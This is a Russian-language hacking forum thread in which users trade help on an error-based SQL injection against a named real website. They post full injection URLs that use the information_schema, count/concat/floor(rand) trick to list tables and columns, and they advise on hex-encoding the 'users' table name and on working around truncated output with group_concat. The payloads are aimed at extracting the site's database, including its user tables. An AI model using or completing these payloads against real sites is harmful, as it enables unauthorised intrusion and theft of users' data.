помогите раскрутить доконца плз = \
_http://sng.by/articles/439'+and+(select+1+from+(select+count(0),concat((s elect+table_name+from+information_schema.tables+li mit+222,1),floor(rand(0)*2))+from+information_sche ma.tables+group+by+2)a)--+.html
Вот допустим с этой таблицы нужно узнать колонки и что в них = \
подскажи как дальше капать?

http://sng.by/articles/439%27+and+(select+1+from+(select+count(0),concat( (select+column_name+from+information_schema.column s+where+table_name=0x6962665F61646D696E5F6C6F6773+ limit+6,1),floor(rand(0)*2))+from+information_sche ma.columns%20+group+by+2)a)--+.html

+, почти в точку) Ограничение длины GET-запроса, и всё, элементарно

это не ограничение, а значение переменной обрезается

__________________
God forgive me for I have sinned
It’s been six months since my last confession
There is nowhere that I can run to
My soul I place in your hands

тоже самое другими словами ^_^

Но таки с возвращением, грозный Спудер

немогу понять = \
подставляю вместо
0x6962665F61646D696E5F6C6F6773
вот это
0x57365727300 а т.е. таблица users(она есть) но ничего не показывает (всмысле колонки) тупо сайт открывается = \
что не так делаю? = \

2GroM88, users = 0x7573657273

http://www.string-functions.com/string-hex.aspx

вывожу таблицы. версия мускула 5я.
при выводе таблиц окончание съедается. допустим.

user_1, user_2, use

как можно вывести все?
пользуюсь так group_concat(table_name)